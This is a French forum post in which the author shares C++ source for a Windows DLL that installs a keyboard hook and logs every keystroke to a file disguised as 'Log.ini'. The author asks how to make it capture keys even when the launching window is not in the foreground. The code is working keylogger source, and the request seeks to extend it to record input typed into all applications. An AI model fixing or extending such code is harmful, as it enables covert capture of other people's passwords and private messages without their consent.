Salut à tous, j'ai un petit problème avec ce code la :
#include <windows.h>
#include <string>
#include <iostream>
#include <fstream>
using namespace std;
#define DLLEXPORT __declspec (dllexport)
HHOOK Hook;
HINSTANCE hInst;
ofstream Fichier;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if(fdwReason == DLL_PROCESS_ATTACH)
hInst = hinstDLL;
return true;
}
void WriteToFile(string Lettre)
{
Fichier << Lettre;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode >= 0)
{
if ( ((DWORD)lParam & 1<<30) != FALSE )
{
return CallNextHookEx(Hook, nCode, wParam, lParam);
}
switch(wParam)
{
case 'A' : WriteToFile("a"); break;
//b, c...
case VK_SPACE : WriteToFile(" "); break;
}
}
return CallNextHookEx(Hook, nCode, wParam, lParam);
}
int DLLEXPORT InitHook()
{
Fichier.open ("Log.ini", ios::out);
if(!Hook)
Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
return (int) Hook;
}
void DLLEXPORT EndHook()
{
Fichier.close();
if(Hook)
UnhookWindowsHookEx(Hook);
}
que je démarre avec un client ne marche que lorsque la fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela ?
Merci de votre aide.